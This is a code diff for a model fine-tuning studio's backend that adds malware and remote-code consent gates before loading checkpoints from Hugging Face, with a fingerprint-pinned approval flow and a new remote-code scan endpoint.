Optional[str] = None, hf_token: Optional[str] = None, ) -> Tuple[bool, str]: """Load a checkpoint for export. @@ -312,6 +313,7 @@ class ExportOrchestrator: "max_seq_length": max_seq_length, "load_in_4bit": load_in_4bit, "trust_remote_code": trust_remote_code, + "approved_remote_code_fingerprint": approved_remote_code_fingerprint, "hf_token": hf_token, } diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py index fb2a893014..7216221f44 100644 --- a/studio/backend/core/export/worker.py +++ b/studio/backend/core/export/worker.py @@ -188,10 +188,16 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: # Auto-enable trust_remote_code for NemotronH/Nano models. if not trust_remote_code: + from utils.security.trusted_org import is_trusted_org_repo + _NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano") _cp_lower = checkpoint_path.lower() - if any(sub in _cp_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) and ( - _cp_lower.startswith("unsloth/") or _cp_lower.startswith("nvidia/") + if ( + any(sub in _cp_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) + and (_cp_lower.startswith("unsloth/") or _cp_lower.startswith("nvidia/")) + # Genuine first-party Hub repo only (not a local/spoof name starting + # with "unsloth/"); authenticated so private repos resolve. + and is_trusted_org_repo(checkpoint_path, hf_token = cmd.get("hf_token")) ): trust_remote_code = True logger.info( @@ -199,6 +205,81 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: checkpoint_path, ) + # Malware gate: a poisoned pickle deserializes on load even with + # trust_remote_code False, so check HF's security scan (metadata-only) every + # load. Local checkpoints have no Hub scan and are skipped in the helper; a + # LoRA merges its base weights, so gate that repo too. + from utils.security import evaluate_file_security, security_load_subdirs + + malware_targets = [checkpoint_path] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. + _base = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token")) + if _base: + malware_targets.append(_base) + except Exception as exc: + logger.debug("Could not resolve LoRA base for malware scan: %s", exc) + _hf_token = cmd.get("hf_token") + for target in dict.fromkeys(malware_targets): + _fs = evaluate_file_security( + target, hf_token = _hf_token, load_subdirs = security_load_subdirs(target, _hf_token) + ) + if _fs.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": _fs.reason, + "error_kind": "malware_blocked", + "security": _fs.response_payload(), + "ts": time.time(), + }, + ) + return + + # Consent gate: scan auto_map code before it runs; block CRITICAL/HIGH unless + # pinned-approved. A LoRA merges its base model, whose code runs, so gate it too. + if trust_remote_code: + from utils.security import evaluate_remote_code_consent_for_targets + + consent_targets = [checkpoint_path] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a local or remote adapter's base so its base repo is gated too. + base_model = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token")) + if base_model: + consent_targets.append(base_model) + except Exception as exc: + logger.debug("Could not resolve LoRA base for consent scan: %s", exc) + # Scan adapter + base as one combined unit, pinned by a single fingerprint. + _rc = evaluate_remote_code_consent_for_targets( + consent_targets, + hf_token = cmd.get("hf_token"), + trust_remote_code = True, + approved_fingerprint = cmd.get("approved_remote_code_fingerprint"), + ) + if _rc.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": ( + f"Checkpoint '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review and " + f"approve it to proceed." + ), + "error_kind": "remote_code_blocked", + "remote_code": _rc.response_payload(), + "ts": time.time(), + }, + ) + return + try: _send_response( resp_queue, @@ -214,6 +295,7 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: max_seq_length = max_seq_length, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + hf_token = cmd.get("hf_token"), ) _send_response( diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py index 6b6deb1265..b81f217539 100644 --- a/studio/backend/core/inference/orchestrator.py +++ b/studio/backend/core/inference/orchestrator.py @@ -636,6 +636,7 @@ class InferenceOrchestrator: load_in_4bit: bool = True, hf_token: Optional[str] = None, trust_remote_code: bool = False, + approved_remote_code_fingerprint: Optional[str] = None, gpu_ids: Optional[list[int]] = None, ) -> bool: """Load a model for inference. @@ -659,6 +660,7 @@ class InferenceOrchestrator: "hf_token": hf_token or "", "gguf_variant": getattr(config, "gguf_variant", None), "trust_remote_code": trust_remote_code, + "approved_remote_code_fingerprint": approved_remote_code_fingerprint, "gpu_ids": gpu_ids, } resolved_gpu_ids, gpu_selection = prepare_gpu_selection( @@ -738,7 +740,8 @@ class InferenceOrchestrator: logger.info("Model '%s' loaded successfully in subprocess", model_name) return True else: - error = resp.get("error", "Failed to load model") + # Worker reports failures (consent gate included) under "message". + error = resp.get("message") or resp.get("error") or "Failed to load model" self.loading_models.discard(model_name) self.active_model_name = None self.models.clear() diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py index 52d151ba15..f7435eebfb 100644 --- a/studio/backend/core/inference/worker.py +++ b/studio/backend/core/inference/worker.py @@ -260,13 +260,19 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: # Auto-enable trust_remote_code only for NemotronH/Nano (config parsing # bugs require it). Must NOT match Llama-Nemotron (standard Llama arch). + from utils.security.trusted_org import is_trusted_org_repo + _NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano") trust_remote_code = config.get("trust_remote_code", False) if not trust_remote_code: model_name = config["model_name"] _mn_lower = model_name.lower() - if any(sub in _mn_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) and ( - _mn_lower.startswith("unsloth/") or _mn_lower.startswith("nvidia/") + if ( + any(sub in _mn_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) + and (_mn_lower.startswith("unsloth/") or _mn_lower.startswith("nvidia/")) + # Genuine first-party Hub repo only (not a local/spoof name starting + # with "unsloth/"); authenticated so private repos resolve. + and is_trusted_org_repo(model_name, hf_token = hf_token) ): trust_remote_code = True logger.info( @@ -274,6 +280,65 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: model_name, ) + # Malware gate: a poisoned pickle deserializes during from_pretrained even + # with trust_remote_code False, so check HF's security scan (metadata-only) + # every load. For a LoRA, gate the base whose weights deserialize. + from utils.security import evaluate_file_security, security_load_subdirs + + malware_targets = [config["model_name"]] + if mc.is_lora and getattr(mc, "base_model", None): + malware_targets.append(str(mc.base_model)) + for target in dict.fromkeys(malware_targets): + _fs = evaluate_file_security( + target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token) + ) + if _fs.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": _fs.reason, + "error_kind": "malware_blocked", + "security": _fs.response_payload(), + "ts": time.time(), + }, + ) + return + + # Consent gate: scan auto_map code before it runs; block CRITICAL/HIGH + # unless pinned-approved. For a LoRA, gate the base whose code runs. + if trust_remote_code: + from utils.security import evaluate_remote_code_consent_for_targets + + consent_targets = [config["model_name"]] + if mc.is_lora and getattr(mc, "base_model", None): + consent_targets.append(str(mc.base_model)) + # Scan adapter + base as one unit, pinned by a single fingerprint. + _rc = evaluate_remote_code_consent_for_targets( + consent_targets, + hf_token = hf_token, + trust_remote_code = True, + approved_fingerprint = config.get("approved_remote_code_fingerprint"), + ) + if _rc.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": ( + f"Model '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review " + f"and approve it to proceed." + ), + "error_kind": "remote_code_blocked", + "remote_code": _rc.response_payload(), + "ts": time.time(), + }, + ) + return + # Heartbeat every 30s so the orchestrator knows we're alive during slow loads. xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1" diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py index 0c3d42a2fe..d8126363fe 100644 --- a/studio/backend/core/training/training.py +++ b/studio/backend/core/training/training.py @@ -315,6 +315,7 @@ class TrainingBackend: "tensorboard_dir": kwargs.get("tensorboard_dir", "runs"), "resume_from_checkpoint": kwargs.get("resume_from_checkpoint"), "trust_remote_code": kwargs.get("trust_remote_code", False), + "approved_remote_code_fingerprint": kwargs.get("approved_remote_code_fingerprint"), "gpu_ids": kwargs.get("gpu_ids"), "s3_config": kwargs.get("s3_config"), # Flipped to True only by the HTTP-fallback respawn after a stall. diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py index 65533b6946..6374589930 100644 --- a/studio/backend/core/training/worker.py +++ b/studio/backend/core/training/worker.py @@ -1453,6 +1453,75 @@ def _run_mlx_training(event_queue, stop_queue, config): model_random_state = random_seed if _model_seed is None else int(_model_seed) _lora_seed = config.get("lora_random_state") lora_random_state = random_seed if _lora_seed is None else int(_lora_seed) + + # Malware gate (MLX): a poisoned pickle deserializes on load even with + # trust_remote_code False, so check HF's security scan (metadata-only) first. + # For a LoRA, gate the base whose weights deserialize. + from utils.security import evaluate_file_security + + malware_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. + _base = get_base_model_from_lora_identifier(model_name, config.get("hf_token") or None) + if _base: + malware_targets.append(_base) + except Exception as exc: + logger.debug("Could not resolve LoRA base for malware scan: %s", exc) + from utils.security import security_load_subdirs + + for target in dict.fromkeys(malware_targets): + _fs = evaluate_file_security( + target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token) + ) + if _fs.blocked: + _send( + "error", + error = _fs.reason, + error_kind = "malware_blocked", + security = _fs.response_payload(), + ) + return + + # Consent gate (MLX): the CUDA path gates in run_training_process, but MLX returns + # before that, so scan auto_map code here before FastMLXModel runs it. Block + # CRITICAL/HIGH unless pinned-approved; for a LoRA, gate the base whose code runs. + if config.get("trust_remote_code", False): + from utils.security import evaluate_remote_code_consent_for_targets + + consent_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. + base_model = get_base_model_from_lora_identifier( + model_name, config.get("hf_token") or None + ) + if base_model: + consent_targets.append(base_model) + except Exception as exc: + logger.debug("Could not resolve LoRA base for consent scan: %s", exc) + # Scan adapter + base as one combined unit, pinned by a single fingerprint. + _rc = evaluate_remote_code_consent_for_targets( + consent_targets, + hf_token = hf_token, + trust_remote_code = True, + approved_fingerprint = config.get("approved_remote_code_fingerprint"), + ) + if _rc.blocked: + _send( + "error", + error = ( + f"Model '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review it and " + f"re-run with approval to proceed.\n\n{_rc.findings_summary}" + ), + error_kind = "remote_code_blocked", + remote_code = _rc.response_payload(), + ) + return + model, tokenizer = FastMLXModel.from_pretrained( model_name, load_in_4bit = config.get("load_in_4bit", True), @@ -2100,11 +2169,16 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> # NemotronH needs trust_remote_code=True to work around config-parsing bugs. # Other 5.x models are native and don't need it (it bypasses the compiler, # disabling fused CE). Must NOT match Llama-Nemotron (standard Llama arch). + from utils.security.trusted_org import is_trusted_org_repo + _NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano") _lowered = model_name.lower() if ( any(sub in _lowered for sub in _NEMOTRON_TRUST_SUBSTRINGS) and (_lowered.startswith("unsloth/") or _lowered.startswith("nvidia/")) + # Confirm a genuine first-party Hub repo (not a local/spoofed name starting + # with "unsloth/"); authenticated so private first-party repos resolve. + and is_trusted_org_repo(model_name, hf_token = config.get("hf_token") or None) and not config.get("trust_remote_code", False) ): config["trust_remote_code"] = True @@ -2113,6 +2187,81 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> model_name, ) + # 1a. Malware gate: a poisoned pickle deserializes on load even with + # trust_remote_code False, so check HF's security scan (metadata-only) first. + # For a LoRA, gate the base whose weights deserialize. + from utils.security import evaluate_file_security + + malware_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. + _base = get_base_model_from_lora_identifier(model_name, config.get("hf_token") or None) + if _base: + malware_targets.append(_base) + except Exception as exc: + logger.debug("Could not resolve LoRA base for malware scan: %s", exc) + from utils.security import security_load_subdirs + + _ls_hf = config.get("hf_token") or None + for target in dict.fromkeys(malware_targets): + _fs = evaluate_file_security( + target, hf_token = _ls_hf, load_subdirs = security_load_subdirs(target, _ls_hf) + ) + if _fs.blocked: + event_queue.put( + { + "type": "error", + "error": _fs.reason, + "error_kind": "malware_blocked", + "security": _fs.response_payload(), + "ts": time.time(), + } + ) + return + + # 1a'. Consent gate: scan auto_map Python before it runs; refuse CRITICAL/HIGH + # unless pinned-approved. + if config.get("trust_remote_code", False): + from utils.security import evaluate_remote_code_consent_for_targets + + # A LoRA adapter's base is where custom code runs, so gate it too. + consent_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. + base_model = get_base_model_from_lora_identifier( + model_name, config.get("hf_token") or None + ) + if base_model: + consent_targets.append(base_model) + except Exception as exc: + logger.debug("Could not resolve LoRA base for consent scan: %s", exc) + # Scan adapter + base as one combined unit, pinned by a single fingerprint. + _rc = evaluate_remote_code_consent_for_targets( + consent_targets, + hf_token = config.get("hf_token") or None, + trust_remote_code = True, + approved_fingerprint = config.get("approved_remote_code_fingerprint"), + ) + if _rc.blocked: + event_queue.put( + { + "type": "error", + "error": ( + f"Model '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review it and " + f"re-run with approval to proceed.\n\n{_rc.findings_summary}" + ), + "error_kind": "remote_code_blocked", + "remote_code": _rc.response_payload(), + "ts": time.time(), + } + ) + return + # ── 1b. Install fast-path kernel libraries for the chosen model. # 1) causal-conv1d ALWAYS runs eagerly via the substring path: some SSM # modeling files lazy_load it without calling is_causal_conv1d_available. @@ -3064,6 +3213,73 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) -> training_type = config.get("training_type", "LoRA/QLoRA") use_lora = training_type == "LoRA/QLoRA" + # Malware gate (embedding): a poisoned pickle deserializes on load even with + # trust_remote_code False, so check HF's security scan (metadata-only) first. + # For a LoRA, gate the base whose weights deserialize. + from utils.security import evaluate_file_security + + malware_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + _base = get_base_model_from_lora_identifier(model_name, hf_token) + if _base: + malware_targets.append(_base) + except Exception as exc: + logger.debug("Could not resolve LoRA base for malware scan: %s", exc) + from utils.security import security_load_subdirs + + for target in dict.fromkeys(malware_targets): + _fs = evaluate_file_security( + target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token) + ) + if _fs.blocked: + event_queue.put( + { + "type": "error", + "error": _fs.reason, + "error_kind": "malware_blocked", + "security": _fs.response_payload(), + "ts": time.time(), + } + ) + return + + # Consent gate (embedding): scan any auto_map code before it runs; block + # CRITICAL/HIGH unless pinned-approved. A no-op without auto_map. + if config.get("trust_remote_code", False): + from utils.security import evaluate_remote_code_consent_for_targets + + consent_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + _cbase = get_base_model_from_lora_identifier(model_name, hf_token) + if _cbase: + consent_targets.append(_cbase) + except Exception as exc: + logger.debug("Could not resolve LoRA base for consent scan: %s", exc) + # Scan adapter + base as one combined unit, pinned by a single fingerprint. + _rc = evaluate_remote_code_consent_for_targets( + consent_targets, + hf_token = hf_token, + trust_remote_code = True, + approved_fingerprint = config.get("approved_remote_code_fingerprint"), + ) + if _rc.blocked: + event_queue.put( + { + "type": "error", + "error": ( + f"Model '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review it and " + f"re-run with approval to proceed.\n\n{_rc.findings_summary}" + ), + "error_kind": "remote_code_blocked", + "remote_code": _rc.response_payload(), + "ts": time.time(), + } + ) + return + model = FastSentenceTransformer.from_pretrained( model_name = model_name, max_seq_length = max_seq_length, diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py index 584f82dea0..6237197072 100644 --- a/studio/backend/models/export.py +++ b/studio/backend/models/export.py @@ -51,6 +51,14 @@ class LoadCheckpointRequest(BaseModel): False, description = "Allow loading models with custom code. Only enable for checkpoints/base models you trust.", ) + approved_remote_code_fingerprint: Optional[str] = Field( + None, + description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.", + ) + hf_token: Optional[str] = Field( + None, + description = "Hugging Face token used to scan/load gated checkpoints and their base models.", + ) class ExportStatusResponse(BaseModel): diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py index fdc3bb25c6..88799604e0 100644 --- a/studio/backend/models/inference.py +++ b/studio/backend/models/inference.py @@ -42,6 +42,10 @@ class LoadRequest(BaseModel): False, description = "Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust.", ) + approved_remote_code_fingerprint: Optional[str] = Field( + None, + description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.", + ) chat_template_override: Optional[str] = Field( None, description = "Custom Jinja2 chat template to use instead of the model's default", @@ -149,6 +153,11 @@ class ValidateModelResponse(BaseModel): False, description = "Whether the model defaults require trust_remote_code to be enabled for loading.", ) + requires_security_review: bool = Field( + False, + description = "Whether Hugging Face's security scan flagged unsafe files (e.g. a " + "malicious pickle), so the load is hard-blocked pending review.", + ) context_length: Optional[int] = Field( None, description = "Native training context length, read from the GGUF header when the file " diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py index 6cf8907b84..ae3061d943 100644 --- a/studio/backend/models/training.py +++ b/studio/backend/models/training.py @@ -108,6 +108,10 @@ class TrainingStartRequest(BaseModel): False, description = "Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust.", ) + approved_remote_code_fingerprint: Optional[str] = Field( + None, + description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.", + ) # Dataset parameters hf_dataset: Optional[str] = Field(None, description = "HuggingFace dataset identifier") diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py index f7b3a56a71..1b71cf5f57 100644 --- a/studio/backend/routes/export.py +++ b/studio/backend/routes/export.py @@ -93,6 +93,8 @@ async def load_checkpoint( max_seq_length = request.max_seq_length, load_in_4bit = request.load_in_4bit, trust_remote_code = request.trust_remote_code, + approved_remote_code_fingerprint = request.approved_remote_code_fingerprint, + hf_token = request.hf_token, ) if not success: diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index 0b95ad3987..bfceb9b904 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -2037,9 +2037,8 @@ async def load_model( audio_type = _gguf_audio, has_audio_input = getattr(llama_backend, "_has_audio_input", False), inference = inference_config, - requires_trust_remote_code = bool( - inference_config.get("trust_remote_code", False) - ), + # GGUF loads via llama.cpp: auto_map never executes, so inert (matches validate_model). + requires_trust_remote_code = False, context_length = llama_backend.context_length, max_context_length = llama_backend.max_context_length, native_context_length = llama_backend.native_context_length, @@ -2086,8 +2085,8 @@ async def load_model( audio_type = _model_info.get("audio_type"), has_audio_input = _model_info.get("has_audio_input", False), inference = inference_config, - requires_trust_remote_code = bool( - inference_config.get("trust_remote_code", False) + requires_trust_remote_code = _resolve_loaded_trust_remote_code( + backend.active_model_name, _model_info, inference_config ), supports_reasoning = _sf_supports_reasoning, reasoning_style = _sf_reasoning_style, @@ -2325,7 +2324,8 @@ async def load_model( audio_type = _gguf_audio, has_audio_input = llama_backend._has_audio_input, inference = inference_config, - requires_trust_remote_code = bool(inference_config.get("trust_remote_code", False)), + # GGUF loads via llama.cpp: auto_map never executes, so inert (matches validate_model). + requires_trust_remote_code = False, context_length = llama_backend.context_length, max_context_length = llama_backend.max_context_length, native_context_length = llama_backend.native_context_length, @@ -2418,6 +2418,7 @@ async def load_model( load_in_4bit = load_in_4bit, hf_token = request.hf_token, trust_remote_code = request.trust_remote_code, + approved_remote_code_fingerprint = request.approved_remote_code_fingerprint, gpu_ids = effective_gpu_ids, ) @@ -2458,6 +2459,23 @@ async def load_model( # Classify reasoning/tool flags via the GGUF sniffer. _sf_flags = _detect_safetensors_features(backend, _chat_template) + # Report validate_model's requirement (raw auto_map OR YAML) plus the value the + # load used, and persist it, so a later retry/rollback doesn't send + # trust_remote_code=false for a custom-code model (and status reports it too). + _requires_rc = _resolve_loaded_trust_remote_code( + config.identifier, + None, + inference_config, + request.hf_token, + trust_remote_code_used = bool(getattr(request, "trust_remote_code", False)), + ) + try: + backend.models.setdefault(config.identifier, {})["requires_trust_remote_code"] = ( + _requires_rc + ) + except Exception: + pass + return LoadResponse( status = "loaded", model = model_log_label if native_grant_backed else config.identifier, @@ -2469,7 +2487,7 @@ async def load_model( audio_type = config.audio_type, has_audio_input = config.has_audio_input, inference = inference_config, - requires_trust_remote_code = bool(inference_config.get("trust_remote_code", False)), + requires_trust_remote_code = _requires_rc, supports_reasoning = _sf_flags["supports_reasoning"], reasoning_style = _sf_flags["reasoning_style"], reasoning_always_on = _sf_flags["reasoning_always_on"], @@ -2522,6 +2540,76 @@ async def load_model( raise HTTPException(status_code = 500, detail = f"Failed to load model: {msg}") +def _requires_trust_remote_code_for_model( + model_identifier: str, hf_token: Optional[str] = None +) -> bool: + """Whether loading this model would execute custom repo code, so the consent + dialog must run first. True if the Studio YAML default enables + ``trust_remote_code`` OR the raw config declares an ``auto_map`` (Hub/local, + config.json or tokenizer_config.json). Reads raw JSON only; never imports + model code.""" + from utils.inference import load_inference_config + + try: + if bool(load_inference_config(model_identifier).get("trust_remote_code", False)): + return True + except Exception: + pass + try: + from utils.security.consent import _config_has_auto_map + return _config_has_auto_map(model_identifier, hf_token) is True + except Exception: + return False + + +def _resolve_loaded_trust_remote_code( + model_id, + model_info, + inference_config, + hf_token = None, + trust_remote_code_used = False, +) -> bool: + """TRC requirement to report for an ALREADY-LOADED model, consistent with + ``validate_model``. + + ``validate_model`` reports ``requires_trust_remote_code`` from + ``_requires_trust_remote_code_for_model`` (YAML default OR raw ``auto_map``), but + the load / already-loaded / status responses historically reported only the YAML + default. That dropped raw-``auto_map`` models: after approving and loading one, the + response said ``false``, so the frontend stored ``false`` and a later retry/rollback + sent ``trust_remote_code=false`` and failed. + + Resolution order: a value stored on the model at load time (so a status refresh does + not re-derive it) -> the trust_remote_code the load actually used -> the YAML default + -> the raw ``auto_map`` check (reads the loaded model's cached config; no network).""" + stored = (model_info or {}).get("requires_trust_remote_code") + if stored is not None: + return bool(stored) + if trust_remote_code_used or bool((inference_config or {}).get("trust_remote_code", False)): + return True + try: + return bool(_requires_trust_remote_code_for_model(model_id, hf_token)) + except Exception: + return False + + +def _requires_security_review_for_model( + model_identifier: str, hf_token: Optional[str] = None +) -> bool: + """Whether Hugging Face's security scan flagged unsafe files for this repo, so + the consent dialog must open as a hard block before loading. Metadata-only; + never downloads the flagged files. Fails open (False) on any error.""" + try: + from utils.security import evaluate_file_security, security_load_subdirs + return evaluate_file_security( + model_identifier, + hf_token, + load_subdirs = security_load_subdirs(model_identifier, hf_token), + ).blocked + except Exception: + return False + + @router.post("/validate", response_model = ValidateModelResponse) async def validate_model( request: ValidateModelRequest, current_subject: str = Depends(get_current_subject) @@ -2550,7 +2638,34 @@ async def validate_model( detail = f"Invalid model identifier: {model_log_label}", ) + # Both checks cover the [adapter, base] set (matching the scan route and workers): + # either repo can ship auto_map code or a poisoned pickle. + security_targets = [config.identifier] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so its code/weights are reviewed too. + _base = get_base_model_from_lora_identifier(model_identifier, request.hf_token) + if _base: + security_targets.append(_base) + except Exception: + pass + security_targets = list(dict.fromkeys(security_targets)) + is_gguf = getattr(config, "is_gguf", False) + # A selected GGUF loads via llama.cpp: auto_map Python and root pickle weights in a + # mixed repo are inert for this load, so gating on them is a false positive. Only + # run the remote-code/security preflight for non-GGUF loads. + requires_trust_remote_code = False + requires_security_review = False + if not is_gguf: + requires_trust_remote_code = any( + _requires_trust_remote_code_for_model(_t, request.hf_token) + for _t in security_targets + ) + requires_security_review = any( + _requires_security_review_for_model(_t, request.hf_token) for _t in security_targets + ) # Native context length, read from the local GGUF header when present. # Lets the staged ("Load on selection" off) flow populate the context # slider before the GPU load; None until the file is downloaded. @@ -2587,9 +2702,8 @@ async def validate_model( is_gguf = is_gguf, is_lora = getattr(config, "is_lora", False), is_vision = getattr(config, "is_vision", False), - requires_trust_remote_code = bool( - load_inference_config(config.identifier).get("trust_remote_code", False) - ), + requires_trust_remote_code = requires_trust_remote_code, + requires_security_review = requires_security_review, context_length = context_length, ) @@ -2898,9 +3012,8 @@ async def get_status(current_subject: str = Depends(get_current_subject)): loading = [], loaded = [_display_model_id] if _display_model_id else [], inference = _inference_cfg, - requires_trust_remote_code = bool( - (_inference_cfg or {}).get("trust_remote_code", False) - ), + # GGUF status: auto_map never executes, so inert (matches validate_model). + requires_trust_remote_code = False, supports_reasoning = llama_backend.supports_reasoning, reasoning_style = llama_backend.reasoning_style, reasoning_always_on = llama_backend.reasoning_always_on, @@ -2958,8 +3071,8 @@ async def get_status(current_subject: str = Depends(get_current_subject)): loading = list(getattr(backend, "loading_models", set())), loaded = list(backend.models.keys()), inference = inference_config, - requires_trust_remote_code = bool( - (inference_config or {}).get("trust_remote_code", False) + requires_trust_remote_code = _resolve_loaded_trust_remote_code( + backend.active_model_name, model_info, inference_config ), supports_reasoning = _sf_flags["supports_reasoning"], reasoning_style = _sf_flags["reasoning_style"], diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py index c05522e64a..8eec7777c4 100644 --- a/studio/backend/routes/models.py +++ b/studio/backend/routes/models.py @@ -1532,16 +1532,22 @@ async def get_model_config( except Exception: pass - # Fallback: try AutoConfig directly. + # Fallback: read raw config.json (declarative fields only) -- a selection-time + # metadata probe that must never execute a repo's auto_map Python. if max_position_embeddings is None: try: - from transformers import AutoConfig as _AutoConfig + from utils.transformers_version import _load_config_json + from types import SimpleNamespace - _trust = model_name.lower().startswith("unsloth/") - _ac = _AutoConfig.from_pretrained( - model_name, trust_remote_code = _trust, token = hf_token - ) - max_position_embeddings = _get_max_position_embeddings(_ac) + _cfg = _load_config_json(model_name, hf_token = hf_token) + if _cfg is not None: + + def _to_ns(d): + if isinstance(d, dict): + return SimpleNamespace(**{k: _to_ns(v) for k, v in d.items()}) + return d + + max_position_embeddings = _get_max_position_embeddings(_to_ns(_cfg)) except Exception: pass @@ -1574,6 +1580,195 @@ async def get_model_config( ) +@router.post("/remote-code-scan") +async def scan_model_remote_code( + model_name: str = Body(..., embed = True), + hf_token: Optional[str] = Body(None, embed = True), + current_subject: str = Depends(get_current_subject), +): + """Scan a model's ``auto_map`` custom code so the UI can show findings before + the user enables ``trust_remote_code``. Code-free: reads ``config.json`` and + statically scans the repo ``.py`` (never loads the model). Returns + ``has_remote_code`` plus the severity-tagged findings + a pinning fingerprint. + + POST (not GET) so the ``hf_token`` for gated repos travels in the body and + never lands in a URL, browser history, or access log. + """ + try: + from utils.security import preflight_remote_code_consent_for_targets + + if not is_local_path(model_name): + model_name = resolve_cached_repo_id_case(model_name) + # Scan the adapter AND the base together (a LoRA runs both repos' code; a pickle + # can live in either), pinned by one combined fingerprint. Snapshot the primary's + # cache state BEFORE resolving the base: for a remote adapter that resolve + # downloads adapter_config.json, which would otherwise hide the adapter from + # cleanup on decline. On error treat as pre-existing so a decline never deletes it. + try: + _primary_preexisting = is_local_path(model_name) or _repo_in_any_hf_cache(model_name) + except Exception: + _primary_preexisting = True + security_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so its code/weights are scanned too. + _base = get_base_model_from_lora_identifier(model_name, hf_token) + if _base: + security_targets.append(_base) + except Exception: + pass + security_targets = list(dict.fromkeys(security_targets)) + # Record every repo OUR scan is first to pull into the cache (adapter, base, and + # external auto_map repos like owner/name--module.Class), so a decline purges + # exactly what was downloaded. Computed BEFORE the preflight downloads, against + # every cache the discard searches, so a repo the user already had is not deleted. + from utils.security.remote_code_scan import external_auto_map_repos + + scan_created_repos: list = [] + _seen_created: set = set() + + def _mark_scan_created(repo: str, *, preexisting: Optional[bool] = None) -> None: + if not repo or repo in _seen_created: + return + _seen_created.add(repo) + try: + already = ( + preexisting + if preexisting is not None + else (is_local_path(repo) or _repo_in_any_hf_cache(repo)) + ) + if not already: + scan_created_repos.append(repo) + except Exception: + pass + + for _target in security_targets: + # Use the pre-base-resolution snapshot for the primary (see above). + _mark_scan_created( + _target, preexisting = _primary_preexisting if _target == model_name else None + ) + for _ext in external_auto_map_repos(_target, hf_token): + _mark_scan_created(_ext) + decision = preflight_remote_code_consent_for_targets(security_targets, hf_token = hf_token) + payload = decision.response_payload() + payload["requires_trust_remote_code"] = decision.has_remote_code + # created_by_scan = primary flag (older clients); scan_created_repos drives cleanup. + payload["created_by_scan"] = model_name in scan_created_repos + payload["scan_created_repos"] = scan_created_repos + + # Malware gate (metadata-only): surface HF-flagged unsafe files so the dialog can + # hard-block. Orthogonal to remote code -- a poisoned pickle needs no auto_map. + from utils.security import evaluate_file_security, security_load_subdirs + + unsafe_files: list = [] + security_blocked = False + for _target in security_targets: + _sec = evaluate_file_security( + _target, hf_token = hf_token, load_subdirs = security_load_subdirs(_target, hf_token) + ) + security_blocked = security_blocked or _sec.blocked + unsafe_files.extend(_sec.unsafe_files) + payload["unsafe_files"] = unsafe_files + payload["security_blocked"] = security_blocked + if security_blocked: + # Non-approvable hard block: approvable False hides 